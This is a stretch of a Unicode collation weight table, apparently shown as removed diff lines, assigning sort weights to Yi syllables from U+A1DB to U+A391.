-A1DB  ; [.3E03.0020.0002] # YI SYLLABLE GIX
-A1DC  ; [.3E04.0020.0002] # YI SYLLABLE GI
-A1DD  ; [.3E05.0020.0002] # YI SYLLABLE GIP
-A1DE  ; [.3E06.0020.0002] # YI SYLLABLE GIET
-A1DF  ; [.3E07.0020.0002] # YI SYLLABLE GIEX
-A1E0  ; [.3E08.0020.0002] # YI SYLLABLE GIE
-A1E1  ; [.3E09.0020.0002] # YI SYLLABLE GIEP
-A1E2  ; [.3E0A.0020.0002] # YI SYLLABLE GAT
-A1E3  ; [.3E0B.0020.0002] # YI SYLLABLE GAX
-A1E4  ; [.3E0C.0020.0002] # YI SYLLABLE GA
-A1E5  ; [.3E0D.0020.0002] # YI SYLLABLE GAP
-A1E6  ; [.3E0E.0020.0002] # YI SYLLABLE GUOT
-A1E7  ; [.3E0F.0020.0002] # YI SYLLABLE GUOX
-A1E8  ; [.3E10.0020.0002] # YI SYLLABLE GUO
-A1E9  ; [.3E11.0020.0002] # YI SYLLABLE GUOP
-A1EA  ; [.3E12.0020.0002] # YI SYLLABLE GOT
-A1EB  ; [.3E13.0020.0002] # YI SYLLABLE GOX
-A1EC  ; [.3E14.0020.0002] # YI SYLLABLE GO
-A1ED  ; [.3E15.0020.0002] # YI SYLLABLE GOP
-A1EE  ; [.3E16.0020.0002] # YI SYLLABLE GET
-A1EF  ; [.3E17.0020.0002] # YI SYLLABLE GEX
-A1F0  ; [.3E18.0020.0002] # YI SYLLABLE GE
-A1F1  ; [.3E19.0020.0002] # YI SYLLABLE GEP
-A1F2  ; [.3E1A.0020.0002] # YI SYLLABLE GUT
-A1F3  ; [.3E1B.0020.0002] # YI SYLLABLE GUX
-A1F4  ; [.3E1C.0020.0002] # YI SYLLABLE GU
-A1F5  ; [.3E1D.0020.0002] # YI SYLLABLE GUP
-A1F6  ; [.3E1E.0020.0002] # YI SYLLABLE GURX
-A1F7  ; [.3E1F.0020.0002] # YI SYLLABLE GUR
-A1F8  ; [.3E20.0020.0002] # YI SYLLABLE KIT
-A1F9  ; [.3E21.0020.0002] # YI SYLLABLE KIX
-A1FA  ; [.3E22.0020.0002] # YI SYLLABLE KI
-A1FB  ; [.3E23.0020.0002] # YI SYLLABLE KIP
-A1FC  ; [.3E24.0020.0002] # YI SYLLABLE KIEX
-A1FD  ; [.3E25.0020.0002] # YI SYLLABLE KIE
-A1FE  ; [.3E26.0020.0002] # YI SYLLABLE KIEP
-A1FF  ; [.3E27.0020.0002] # YI SYLLABLE KAT
-A200  ; [.3E28.0020.0002] # YI SYLLABLE KAX
-A201  ; [.3E29.0020.0002] # YI SYLLABLE KA
-A202  ; [.3E2A.0020.0002] # YI SYLLABLE KAP
-A203  ; [.3E2B.0020.0002] # YI SYLLABLE KUOX
-A204  ; [.3E2C.0020.0002] # YI SYLLABLE KUO
-A205  ; [.3E2D.0020.0002] # YI SYLLABLE KUOP
-A206  ; [.3E2E.0020.0002] # YI SYLLABLE KOT
-A207  ; [.3E2F.0020.0002] # YI SYLLABLE KOX
-A208  ; [.3E30.0020.0002] # YI SYLLABLE KO
-A209  ; [.3E31.0020.0002] # YI SYLLABLE KOP
-A20A  ; [.3E32.0020.0002] # YI SYLLABLE KET
-A20B  ; [.3E33.0020.0002] # YI SYLLABLE KEX
-A20C  ; [.3E34.0020.0002] # YI SYLLABLE KE
-A20D  ; [.3E35.0020.0002] # YI SYLLABLE KEP
-A20E  ; [.3E36.0020.0002] # YI SYLLABLE KUT
-A20F  ; [.3E37.0020.0002] # YI SYLLABLE KUX
-A210  ; [.3E38.0020.0002] # YI SYLLABLE KU
-A211  ; [.3E39.0020.0002] # YI SYLLABLE KUP
-A212  ; [.3E3A.0020.0002] # YI SYLLABLE KURX
-A213  ; [.3E3B.0020.0002] # YI SYLLABLE KUR
-A214  ; [.3E3C.0020.0002] # YI SYLLABLE GGIT
-A215  ; [.3E3D.0020.0002] # YI SYLLABLE GGIX
-A216  ; [.3E3E.0020.0002] # YI SYLLABLE GGI
-A217  ; [.3E3F.0020.0002] # YI SYLLABLE GGIEX
-A218  ; [.3E40.0020.0002] # YI SYLLABLE GGIE
-A219  ; [.3E41.0020.0002] # YI SYLLABLE GGIEP
-A21A  ; [.3E42.0020.0002] # YI SYLLABLE GGAT
-A21B  ; [.3E43.0020.0002] # YI SYLLABLE GGAX
-A21C  ; [.3E44.0020.0002] # YI SYLLABLE GGA
-A21D  ; [.3E45.0020.0002] # YI SYLLABLE GGAP
-A21E  ; [.3E46.0020.0002] # YI SYLLABLE GGUOT
-A21F  ; [.3E47.0020.0002] # YI SYLLABLE GGUOX
-A220  ; [.3E48.0020.0002] # YI SYLLABLE GGUO
-A221  ; [.3E49.0020.0002] # YI SYLLABLE GGUOP
-A222  ; [.3E4A.0020.0002] # YI SYLLABLE GGOT
-A223  ; [.3E4B.0020.0002] # YI SYLLABLE GGOX
-A224  ; [.3E4C.0020.0002] # YI SYLLABLE GGO
-A225  ; [.3E4D.0020.0002] # YI SYLLABLE GGOP
-A226  ; [.3E4E.0020.0002] # YI SYLLABLE GGET
-A227  ; [.3E4F.0020.0002] # YI SYLLABLE GGEX
-A228  ; [.3E50.0020.0002] # YI SYLLABLE GGE
-A229  ; [.3E51.0020.0002] # YI SYLLABLE GGEP
-A22A  ; [.3E52.0020.0002] # YI SYLLABLE GGUT
-A22B  ; [.3E53.0020.0002] # YI SYLLABLE GGUX
-A22C  ; [.3E54.0020.0002] # YI SYLLABLE GGU
-A22D  ; [.3E55.0020.0002] # YI SYLLABLE GGUP
-A22E  ; [.3E56.0020.0002] # YI SYLLABLE GGURX
-A22F  ; [.3E57.0020.0002] # YI SYLLABLE GGUR
-A230  ; [.3E58.0020.0002] # YI SYLLABLE MGIEX
-A231  ; [.3E59.0020.0002] # YI SYLLABLE MGIE
-A232  ; [.3E5A.0020.0002] # YI SYLLABLE MGAT
-A233  ; [.3E5B.0020.0002] # YI SYLLABLE MGAX
-A234  ; [.3E5C.0020.0002] # YI SYLLABLE MGA
-A235  ; [.3E5D.0020.0002] # YI SYLLABLE MGAP
-A236  ; [.3E5E.0020.0002] # YI SYLLABLE MGUOX
-A237  ; [.3E5F.0020.0002] # YI SYLLABLE MGUO
-A238  ; [.3E60.0020.0002] # YI SYLLABLE MGUOP
-A239  ; [.3E61.0020.0002] # YI SYLLABLE MGOT
-A23A  ; [.3E62.0020.0002] # YI SYLLABLE MGOX
-A23B  ; [.3E63.0020.0002] # YI SYLLABLE MGO
-A23C  ; [.3E64.0020.0002] # YI SYLLABLE MGOP
-A23D  ; [.3E65.0020.0002] # YI SYLLABLE MGEX
-A23E  ; [.3E66.0020.0002] # YI SYLLABLE MGE
-A23F  ; [.3E67.0020.0002] # YI SYLLABLE MGEP
-A240  ; [.3E68.0020.0002] # YI SYLLABLE MGUT
-A241  ; [.3E69.0020.0002] # YI SYLLABLE MGUX
-A242  ; [.3E6A.0020.0002] # YI SYLLABLE MGU
-A243  ; [.3E6B.0020.0002] # YI SYLLABLE MGUP
-A244  ; [.3E6C.0020.0002] # YI SYLLABLE MGURX
-A245  ; [.3E6D.0020.0002] # YI SYLLABLE MGUR
-A246  ; [.3E6E.0020.0002] # YI SYLLABLE HXIT
-A247  ; [.3E6F.0020.0002] # YI SYLLABLE HXIX
-A248  ; [.3E70.0020.0002] # YI SYLLABLE HXI
-A249  ; [.3E71.0020.0002] # YI SYLLABLE HXIP
-A24A  ; [.3E72.0020.0002] # YI SYLLABLE HXIET
-A24B  ; [.3E73.0020.0002] # YI SYLLABLE HXIEX
-A24C  ; [.3E74.0020.0002] # YI SYLLABLE HXIE
-A24D  ; [.3E75.0020.0002] # YI SYLLABLE HXIEP
-A24E  ; [.3E76.0020.0002] # YI SYLLABLE HXAT
-A24F  ; [.3E77.0020.0002] # YI SYLLABLE HXAX
-A250  ; [.3E78.0020.0002] # YI SYLLABLE HXA
-A251  ; [.3E79.0020.0002] # YI SYLLABLE HXAP
-A252  ; [.3E7A.0020.0002] # YI SYLLABLE HXUOT
-A253  ; [.3E7B.0020.0002] # YI SYLLABLE HXUOX
-A254  ; [.3E7C.0020.0002] # YI SYLLABLE HXUO
-A255  ; [.3E7D.0020.0002] # YI SYLLABLE HXUOP
-A256  ; [.3E7E.0020.0002] # YI SYLLABLE HXOT
-A257  ; [.3E7F.0020.0002] # YI SYLLABLE HXOX
-A258  ; [.3E80.0020.0002] # YI SYLLABLE HXO
-A259  ; [.3E81.0020.0002] # YI SYLLABLE HXOP
-A25A  ; [.3E82.0020.0002] # YI SYLLABLE HXEX
-A25B  ; [.3E83.0020.0002] # YI SYLLABLE HXE
-A25C  ; [.3E84.0020.0002] # YI SYLLABLE HXEP
-A25D  ; [.3E85.0020.0002] # YI SYLLABLE NGIEX
-A25E  ; [.3E86.0020.0002] # YI SYLLABLE NGIE
-A25F  ; [.3E87.0020.0002] # YI SYLLABLE NGIEP
-A260  ; [.3E88.0020.0002] # YI SYLLABLE NGAT
-A261  ; [.3E89.0020.0002] # YI SYLLABLE NGAX
-A262  ; [.3E8A.0020.0002] # YI SYLLABLE NGA
-A263  ; [.3E8B.0020.0002] # YI SYLLABLE NGAP
-A264  ; [.3E8C.0020.0002] # YI SYLLABLE NGUOT
-A265  ; [.3E8D.0020.0002] # YI SYLLABLE NGUOX
-A266  ; [.3E8E.0020.0002] # YI SYLLABLE NGUO
-A267  ; [.3E8F.0020.0002] # YI SYLLABLE NGOT
-A268  ; [.3E90.0020.0002] # YI SYLLABLE NGOX
-A269  ; [.3E91.0020.0002] # YI SYLLABLE NGO
-A26A  ; [.3E92.0020.0002] # YI SYLLABLE NGOP
-A26B  ; [.3E93.0020.0002] # YI SYLLABLE NGEX
-A26C  ; [.3E94.0020.0002] # YI SYLLABLE NGE
-A26D  ; [.3E95.0020.0002] # YI SYLLABLE NGEP
-A26E  ; [.3E96.0020.0002] # YI SYLLABLE HIT
-A26F  ; [.3E97.0020.0002] # YI SYLLABLE HIEX
-A270  ; [.3E98.0020.0002] # YI SYLLABLE HIE
-A271  ; [.3E99.0020.0002] # YI SYLLABLE HAT
-A272  ; [.3E9A.0020.0002] # YI SYLLABLE HAX
-A273  ; [.3E9B.0020.0002] # YI SYLLABLE HA
-A274  ; [.3E9C.0020.0002] # YI SYLLABLE HAP
-A275  ; [.3E9D.0020.0002] # YI SYLLABLE HUOT
-A276  ; [.3E9E.0020.0002] # YI SYLLABLE HUOX
-A277  ; [.3E9F.0020.0002] # YI SYLLABLE HUO
-A278  ; [.3EA0.0020.0002] # YI SYLLABLE HUOP
-A279  ; [.3EA1.0020.0002] # YI SYLLABLE HOT
-A27A  ; [.3EA2.0020.0002] # YI SYLLABLE HOX
-A27B  ; [.3EA3.0020.0002] # YI SYLLABLE HO
-A27C  ; [.3EA4.0020.0002] # YI SYLLABLE HOP
-A27D  ; [.3EA5.0020.0002] # YI SYLLABLE HEX
-A27E  ; [.3EA6.0020.0002] # YI SYLLABLE HE
-A27F  ; [.3EA7.0020.0002] # YI SYLLABLE HEP
-A280  ; [.3EA8.0020.0002] # YI SYLLABLE WAT
-A281  ; [.3EA9.0020.0002] # YI SYLLABLE WAX
-A282  ; [.3EAA.0020.0002] # YI SYLLABLE WA
-A283  ; [.3EAB.0020.0002] # YI SYLLABLE WAP
-A284  ; [.3EAC.0020.0002] # YI SYLLABLE WUOX
-A285  ; [.3EAD.0020.0002] # YI SYLLABLE WUO
-A286  ; [.3EAE.0020.0002] # YI SYLLABLE WUOP
-A287  ; [.3EAF.0020.0002] # YI SYLLABLE WOX
-A288  ; [.3EB0.0020.0002] # YI SYLLABLE WO
-A289  ; [.3EB1.0020.0002] # YI SYLLABLE WOP
-A28A  ; [.3EB2.0020.0002] # YI SYLLABLE WEX
-A28B  ; [.3EB3.0020.0002] # YI SYLLABLE WE
-A28C  ; [.3EB4.0020.0002] # YI SYLLABLE WEP
-A28D  ; [.3EB5.0020.0002] # YI SYLLABLE ZIT
-A28E  ; [.3EB6.0020.0002] # YI SYLLABLE ZIX
-A28F  ; [.3EB7.0020.0002] # YI SYLLABLE ZI
-A290  ; [.3EB8.0020.0002] # YI SYLLABLE ZIP
-A291  ; [.3EB9.0020.0002] # YI SYLLABLE ZIEX
-A292  ; [.3EBA.0020.0002] # YI SYLLABLE ZIE
-A293  ; [.3EBB.0020.0002] # YI SYLLABLE ZIEP
-A294  ; [.3EBC.0020.0002] # YI SYLLABLE ZAT
-A295  ; [.3EBD.0020.0002] # YI SYLLABLE ZAX
-A296  ; [.3EBE.0020.0002] # YI SYLLABLE ZA
-A297  ; [.3EBF.0020.0002] # YI SYLLABLE ZAP
-A298  ; [.3EC0.0020.0002] # YI SYLLABLE ZUOX
-A299  ; [.3EC1.0020.0002] # YI SYLLABLE ZUO
-A29A  ; [.3EC2.0020.0002] # YI SYLLABLE ZUOP
-A29B  ; [.3EC3.0020.0002] # YI SYLLABLE ZOT
-A29C  ; [.3EC4.0020.0002] # YI SYLLABLE ZOX
-A29D  ; [.3EC5.0020.0002] # YI SYLLABLE ZO
-A29E  ; [.3EC6.0020.0002] # YI SYLLABLE ZOP
-A29F  ; [.3EC7.0020.0002] # YI SYLLABLE ZEX
-A2A0  ; [.3EC8.0020.0002] # YI SYLLABLE ZE
-A2A1  ; [.3EC9.0020.0002] # YI SYLLABLE ZEP
-A2A2  ; [.3ECA.0020.0002] # YI SYLLABLE ZUT
-A2A3  ; [.3ECB.0020.0002] # YI SYLLABLE ZUX
-A2A4  ; [.3ECC.0020.0002] # YI SYLLABLE ZU
-A2A5  ; [.3ECD.0020.0002] # YI SYLLABLE ZUP
-A2A6  ; [.3ECE.0020.0002] # YI SYLLABLE ZURX
-A2A7  ; [.3ECF.0020.0002] # YI SYLLABLE ZUR
-A2A8  ; [.3ED0.0020.0002] # YI SYLLABLE ZYT
-A2A9  ; [.3ED1.0020.0002] # YI SYLLABLE ZYX
-A2AA  ; [.3ED2.0020.0002] # YI SYLLABLE ZY
-A2AB  ; [.3ED3.0020.0002] # YI SYLLABLE ZYP
-A2AC  ; [.3ED4.0020.0002] # YI SYLLABLE ZYRX
-A2AD  ; [.3ED5.0020.0002] # YI SYLLABLE ZYR
-A2AE  ; [.3ED6.0020.0002] # YI SYLLABLE CIT
-A2AF  ; [.3ED7.0020.0002] # YI SYLLABLE CIX
-A2B0  ; [.3ED8.0020.0002] # YI SYLLABLE CI
-A2B1  ; [.3ED9.0020.0002] # YI SYLLABLE CIP
-A2B2  ; [.3EDA.0020.0002] # YI SYLLABLE CIET
-A2B3  ; [.3EDB.0020.0002] # YI SYLLABLE CIEX
-A2B4  ; [.3EDC.0020.0002] # YI SYLLABLE CIE
-A2B5  ; [.3EDD.0020.0002] # YI SYLLABLE CIEP
-A2B6  ; [.3EDE.0020.0002] # YI SYLLABLE CAT
-A2B7  ; [.3EDF.0020.0002] # YI SYLLABLE CAX
-A2B8  ; [.3EE0.0020.0002] # YI SYLLABLE CA
-A2B9  ; [.3EE1.0020.0002] # YI SYLLABLE CAP
-A2BA  ; [.3EE2.0020.0002] # YI SYLLABLE CUOX
-A2BB  ; [.3EE3.0020.0002] # YI SYLLABLE CUO
-A2BC  ; [.3EE4.0020.0002] # YI SYLLABLE CUOP
-A2BD  ; [.3EE5.0020.0002] # YI SYLLABLE COT
-A2BE  ; [.3EE6.0020.0002] # YI SYLLABLE COX
-A2BF  ; [.3EE7.0020.0002] # YI SYLLABLE CO
-A2C0  ; [.3EE8.0020.0002] # YI SYLLABLE COP
-A2C1  ; [.3EE9.0020.0002] # YI SYLLABLE CEX
-A2C2  ; [.3EEA.0020.0002] # YI SYLLABLE CE
-A2C3  ; [.3EEB.0020.0002] # YI SYLLABLE CEP
-A2C4  ; [.3EEC.0020.0002] # YI SYLLABLE CUT
-A2C5  ; [.3EED.0020.0002] # YI SYLLABLE CUX
-A2C6  ; [.3EEE.0020.0002] # YI SYLLABLE CU
-A2C7  ; [.3EEF.0020.0002] # YI SYLLABLE CUP
-A2C8  ; [.3EF0.0020.0002] # YI SYLLABLE CURX
-A2C9  ; [.3EF1.0020.0002] # YI SYLLABLE CUR
-A2CA  ; [.3EF2.0020.0002] # YI SYLLABLE CYT
-A2CB  ; [.3EF3.0020.0002] # YI SYLLABLE CYX
-A2CC  ; [.3EF4.0020.0002] # YI SYLLABLE CY
-A2CD  ; [.3EF5.0020.0002] # YI SYLLABLE CYP
-A2CE  ; [.3EF6.0020.0002] # YI SYLLABLE CYRX
-A2CF  ; [.3EF7.0020.0002] # YI SYLLABLE CYR
-A2D0  ; [.3EF8.0020.0002] # YI SYLLABLE ZZIT
-A2D1  ; [.3EF9.0020.0002] # YI SYLLABLE ZZIX
-A2D2  ; [.3EFA.0020.0002] # YI SYLLABLE ZZI
-A2D3  ; [.3EFB.0020.0002] # YI SYLLABLE ZZIP
-A2D4  ; [.3EFC.0020.0002] # YI SYLLABLE ZZIET
-A2D5  ; [.3EFD.0020.0002] # YI SYLLABLE ZZIEX
-A2D6  ; [.3EFE.0020.0002] # YI SYLLABLE ZZIE
-A2D7  ; [.3EFF.0020.0002] # YI SYLLABLE ZZIEP
-A2D8  ; [.3F00.0020.0002] # YI SYLLABLE ZZAT
-A2D9  ; [.3F01.0020.0002] # YI SYLLABLE ZZAX
-A2DA  ; [.3F02.0020.0002] # YI SYLLABLE ZZA
-A2DB  ; [.3F03.0020.0002] # YI SYLLABLE ZZAP
-A2DC  ; [.3F04.0020.0002] # YI SYLLABLE ZZOX
-A2DD  ; [.3F05.0020.0002] # YI SYLLABLE ZZO
-A2DE  ; [.3F06.0020.0002] # YI SYLLABLE ZZOP
-A2DF  ; [.3F07.0020.0002] # YI SYLLABLE ZZEX
-A2E0  ; [.3F08.0020.0002] # YI SYLLABLE ZZE
-A2E1  ; [.3F09.0020.0002] # YI SYLLABLE ZZEP
-A2E2  ; [.3F0A.0020.0002] # YI SYLLABLE ZZUX
-A2E3  ; [.3F0B.0020.0002] # YI SYLLABLE ZZU
-A2E4  ; [.3F0C.0020.0002] # YI SYLLABLE ZZUP
-A2E5  ; [.3F0D.0020.0002] # YI SYLLABLE ZZURX
-A2E6  ; [.3F0E.0020.0002] # YI SYLLABLE ZZUR
-A2E7  ; [.3F0F.0020.0002] # YI SYLLABLE ZZYT
-A2E8  ; [.3F10.0020.0002] # YI SYLLABLE ZZYX
-A2E9  ; [.3F11.0020.0002] # YI SYLLABLE ZZY
-A2EA  ; [.3F12.0020.0002] # YI SYLLABLE ZZYP
-A2EB  ; [.3F13.0020.0002] # YI SYLLABLE ZZYRX
-A2EC  ; [.3F14.0020.0002] # YI SYLLABLE ZZYR
-A2ED  ; [.3F15.0020.0002] # YI SYLLABLE NZIT
-A2EE  ; [.3F16.0020.0002] # YI SYLLABLE NZIX
-A2EF  ; [.3F17.0020.0002] # YI SYLLABLE NZI
-A2F0  ; [.3F18.0020.0002] # YI SYLLABLE NZIP
-A2F1  ; [.3F19.0020.0002] # YI SYLLABLE NZIEX
-A2F2  ; [.3F1A.0020.0002] # YI SYLLABLE NZIE
-A2F3  ; [.3F1B.0020.0002] # YI SYLLABLE NZIEP
-A2F4  ; [.3F1C.0020.0002] # YI SYLLABLE NZAT
-A2F5  ; [.3F1D.0020.0002] # YI SYLLABLE NZAX
-A2F6  ; [.3F1E.0020.0002] # YI SYLLABLE NZA
-A2F7  ; [.3F1F.0020.0002] # YI SYLLABLE NZAP
-A2F8  ; [.3F20.0020.0002] # YI SYLLABLE NZUOX
-A2F9  ; [.3F21.0020.0002] # YI SYLLABLE NZUO
-A2FA  ; [.3F22.0020.0002] # YI SYLLABLE NZOX
-A2FB  ; [.3F23.0020.0002] # YI SYLLABLE NZOP
-A2FC  ; [.3F24.0020.0002] # YI SYLLABLE NZEX
-A2FD  ; [.3F25.0020.0002] # YI SYLLABLE NZE
-A2FE  ; [.3F26.0020.0002] # YI SYLLABLE NZUX
-A2FF  ; [.3F27.0020.0002] # YI SYLLABLE NZU
-A300  ; [.3F28.0020.0002] # YI SYLLABLE NZUP
-A301  ; [.3F29.0020.0002] # YI SYLLABLE NZURX
-A302  ; [.3F2A.0020.0002] # YI SYLLABLE NZUR
-A303  ; [.3F2B.0020.0002] # YI SYLLABLE NZYT
-A304  ; [.3F2C.0020.0002] # YI SYLLABLE NZYX
-A305  ; [.3F2D.0020.0002] # YI SYLLABLE NZY
-A306  ; [.3F2E.0020.0002] # YI SYLLABLE NZYP
-A307  ; [.3F2F.0020.0002] # YI SYLLABLE NZYRX
-A308  ; [.3F30.0020.0002] # YI SYLLABLE NZYR
-A309  ; [.3F31.0020.0002] # YI SYLLABLE SIT
-A30A  ; [.3F32.0020.0002] # YI SYLLABLE SIX
-A30B  ; [.3F33.0020.0002] # YI SYLLABLE SI
-A30C  ; [.3F34.0020.0002] # YI SYLLABLE SIP
-A30D  ; [.3F35.0020.0002] # YI SYLLABLE SIEX
-A30E  ; [.3F36.0020.0002] # YI SYLLABLE SIE
-A30F  ; [.3F37.0020.0002] # YI SYLLABLE SIEP
-A310  ; [.3F38.0020.0002] # YI SYLLABLE SAT
-A311  ; [.3F39.0020.0002] # YI SYLLABLE SAX
-A312  ; [.3F3A.0020.0002] # YI SYLLABLE SA
-A313  ; [.3F3B.0020.0002] # YI SYLLABLE SAP
-A314  ; [.3F3C.0020.0002] # YI SYLLABLE SUOX
-A315  ; [.3F3D.0020.0002] # YI SYLLABLE SUO
-A316  ; [.3F3E.0020.0002] # YI SYLLABLE SUOP
-A317  ; [.3F3F.0020.0002] # YI SYLLABLE SOT
-A318  ; [.3F40.0020.0002] # YI SYLLABLE SOX
-A319  ; [.3F41.0020.0002] # YI SYLLABLE SO
-A31A  ; [.3F42.0020.0002] # YI SYLLABLE SOP
-A31B  ; [.3F43.0020.0002] # YI SYLLABLE SEX
-A31C  ; [.3F44.0020.0002] # YI SYLLABLE SE
-A31D  ; [.3F45.0020.0002] # YI SYLLABLE SEP
-A31E  ; [.3F46.0020.0002] # YI SYLLABLE SUT
-A31F  ; [.3F47.0020.0002] # YI SYLLABLE SUX
-A320  ; [.3F48.0020.0002] # YI SYLLABLE SU
-A321  ; [.3F49.0020.0002] # YI SYLLABLE SUP
-A322  ; [.3F4A.0020.0002] # YI SYLLABLE SURX
-A323  ; [.3F4B.0020.0002] # YI SYLLABLE SUR
-A324  ; [.3F4C.0020.0002] # YI SYLLABLE SYT
-A325  ; [.3F4D.0020.0002] # YI SYLLABLE SYX
-A326  ; [.3F4E.0020.0002] # YI SYLLABLE SY
-A327  ; [.3F4F.0020.0002] # YI SYLLABLE SYP
-A328  ; [.3F50.0020.0002] # YI SYLLABLE SYRX
-A329  ; [.3F51.0020.0002] # YI SYLLABLE SYR
-A32A  ; [.3F52.0020.0002] # YI SYLLABLE SSIT
-A32B  ; [.3F53.0020.0002] # YI SYLLABLE SSIX
-A32C  ; [.3F54.0020.0002] # YI SYLLABLE SSI
-A32D  ; [.3F55.0020.0002] # YI SYLLABLE SSIP
-A32E  ; [.3F56.0020.0002] # YI SYLLABLE SSIEX
-A32F  ; [.3F57.0020.0002] # YI SYLLABLE SSIE
-A330  ; [.3F58.0020.0002] # YI SYLLABLE SSIEP
-A331  ; [.3F59.0020.0002] # YI SYLLABLE SSAT
-A332  ; [.3F5A.0020.0002] # YI SYLLABLE SSAX
-A333  ; [.3F5B.0020.0002] # YI SYLLABLE SSA
-A334  ; [.3F5C.0020.0002] # YI SYLLABLE SSAP
-A335  ; [.3F5D.0020.0002] # YI SYLLABLE SSOT
-A336  ; [.3F5E.0020.0002] # YI SYLLABLE SSOX
-A337  ; [.3F5F.0020.0002] # YI SYLLABLE SSO
-A338  ; [.3F60.0020.0002] # YI SYLLABLE SSOP
-A339  ; [.3F61.0020.0002] # YI SYLLABLE SSEX
-A33A  ; [.3F62.0020.0002] # YI SYLLABLE SSE
-A33B  ; [.3F63.0020.0002] # YI SYLLABLE SSEP
-A33C  ; [.3F64.0020.0002] # YI SYLLABLE SSUT
-A33D  ; [.3F65.0020.0002] # YI SYLLABLE SSUX
-A33E  ; [.3F66.0020.0002] # YI SYLLABLE SSU
-A33F  ; [.3F67.0020.0002] # YI SYLLABLE SSUP
-A340  ; [.3F68.0020.0002] # YI SYLLABLE SSYT
-A341  ; [.3F69.0020.0002] # YI SYLLABLE SSYX
-A342  ; [.3F6A.0020.0002] # YI SYLLABLE SSY
-A343  ; [.3F6B.0020.0002] # YI SYLLABLE SSYP
-A344  ; [.3F6C.0020.0002] # YI SYLLABLE SSYRX
-A345  ; [.3F6D.0020.0002] # YI SYLLABLE SSYR
-A346  ; [.3F6E.0020.0002] # YI SYLLABLE ZHAT
-A347  ; [.3F6F.0020.0002] # YI SYLLABLE ZHAX
-A348  ; [.3F70.0020.0002] # YI SYLLABLE ZHA
-A349  ; [.3F71.0020.0002] # YI SYLLABLE ZHAP
-A34A  ; [.3F72.0020.0002] # YI SYLLABLE ZHUOX
-A34B  ; [.3F73.0020.0002] # YI SYLLABLE ZHUO
-A34C  ; [.3F74.0020.0002] # YI SYLLABLE ZHUOP
-A34D  ; [.3F75.0020.0002] # YI SYLLABLE ZHOT
-A34E  ; [.3F76.0020.0002] # YI SYLLABLE ZHOX
-A34F  ; [.3F77.0020.0002] # YI SYLLABLE ZHO
-A350  ; [.3F78.0020.0002] # YI SYLLABLE ZHOP
-A351  ; [.3F79.0020.0002] # YI SYLLABLE ZHET
-A352  ; [.3F7A.0020.0002] # YI SYLLABLE ZHEX
-A353  ; [.3F7B.0020.0002] # YI SYLLABLE ZHE
-A354  ; [.3F7C.0020.0002] # YI SYLLABLE ZHEP
-A355  ; [.3F7D.0020.0002] # YI SYLLABLE ZHUT
-A356  ; [.3F7E.0020.0002] # YI SYLLABLE ZHUX
-A357  ; [.3F7F.0020.0002] # YI SYLLABLE ZHU
-A358  ; [.3F80.0020.0002] # YI SYLLABLE ZHUP
-A359  ; [.3F81.0020.0002] # YI SYLLABLE ZHURX
-A35A  ; [.3F82.0020.0002] # YI SYLLABLE ZHUR
-A35B  ; [.3F83.0020.0002] # YI SYLLABLE ZHYT
-A35C  ; [.3F84.0020.0002] # YI SYLLABLE ZHYX
-A35D  ; [.3F85.0020.0002] # YI SYLLABLE ZHY
-A35E  ; [.3F86.0020.0002] # YI SYLLABLE ZHYP
-A35F  ; [.3F87.0020.0002] # YI SYLLABLE ZHYRX
-A360  ; [.3F88.0020.0002] # YI SYLLABLE ZHYR
-A361  ; [.3F89.0020.0002] # YI SYLLABLE CHAT
-A362  ; [.3F8A.0020.0002] # YI SYLLABLE CHAX
-A363  ; [.3F8B.0020.0002] # YI SYLLABLE CHA
-A364  ; [.3F8C.0020.0002] # YI SYLLABLE CHAP
-A365  ; [.3F8D.0020.0002] # YI SYLLABLE CHUOT
-A366  ; [.3F8E.0020.0002] # YI SYLLABLE CHUOX
-A367  ; [.3F8F.0020.0002] # YI SYLLABLE CHUO
-A368  ; [.3F90.0020.0002] # YI SYLLABLE CHUOP
-A369  ; [.3F91.0020.0002] # YI SYLLABLE CHOT
-A36A  ; [.3F92.0020.0002] # YI SYLLABLE CHOX
-A36B  ; [.3F93.0020.0002] # YI SYLLABLE CHO
-A36C  ; [.3F94.0020.0002] # YI SYLLABLE CHOP
-A36D  ; [.3F95.0020.0002] # YI SYLLABLE CHET
-A36E  ; [.3F96.0020.0002] # YI SYLLABLE CHEX
-A36F  ; [.3F97.0020.0002] # YI SYLLABLE CHE
-A370  ; [.3F98.0020.0002] # YI SYLLABLE CHEP
-A371  ; [.3F99.0020.0002] # YI SYLLABLE CHUX
-A372  ; [.3F9A.0020.0002] # YI SYLLABLE CHU
-A373  ; [.3F9B.0020.0002] # YI SYLLABLE CHUP
-A374  ; [.3F9C.0020.0002] # YI SYLLABLE CHURX
-A375  ; [.3F9D.0020.0002] # YI SYLLABLE CHUR
-A376  ; [.3F9E.0020.0002] # YI SYLLABLE CHYT
-A377  ; [.3F9F.0020.0002] # YI SYLLABLE CHYX
-A378  ; [.3FA0.0020.0002] # YI SYLLABLE CHY
-A379  ; [.3FA1.0020.0002] # YI SYLLABLE CHYP
-A37A  ; [.3FA2.0020.0002] # YI SYLLABLE CHYRX
-A37B  ; [.3FA3.0020.0002] # YI SYLLABLE CHYR
-A37C  ; [.3FA4.0020.0002] # YI SYLLABLE RRAX
-A37D  ; [.3FA5.0020.0002] # YI SYLLABLE RRA
-A37E  ; [.3FA6.0020.0002] # YI SYLLABLE RRUOX
-A37F  ; [.3FA7.0020.0002] # YI SYLLABLE RRUO
-A380  ; [.3FA8.0020.0002] # YI SYLLABLE RROT
-A381  ; [.3FA9.0020.0002] # YI SYLLABLE RROX
-A382  ; [.3FAA.0020.0002] # YI SYLLABLE RRO
-A383  ; [.3FAB.0020.0002] # YI SYLLABLE RROP
-A384  ; [.3FAC.0020.0002] # YI SYLLABLE RRET
-A385  ; [.3FAD.0020.0002] # YI SYLLABLE RREX
-A386  ; [.3FAE.0020.0002] # YI SYLLABLE RRE
-A387  ; [.3FAF.0020.0002] # YI SYLLABLE RREP
-A388  ; [.3FB0.0020.0002] # YI SYLLABLE RRUT
-A389  ; [.3FB1.0020.0002] # YI SYLLABLE RRUX
-A38A  ; [.3FB2.0020.0002] # YI SYLLABLE RRU
-A38B  ; [.3FB3.0020.0002] # YI SYLLABLE RRUP
-A38C  ; [.3FB4.0020.0002] # YI SYLLABLE RRURX
-A38D  ; [.3FB5.0020.0002] # YI SYLLABLE RRUR
-A38E  ; [.3FB6.0020.0002] # YI SYLLABLE RRYT
-A38F  ; [.3FB7.0020.0002] # YI SYLLABLE RRYX
-A390  ; [.3FB8.0020.0002] # YI SYLLABLE RRY
-A391  ; [.3FB9.0020.0002] # YI SYLLABLE RRYP
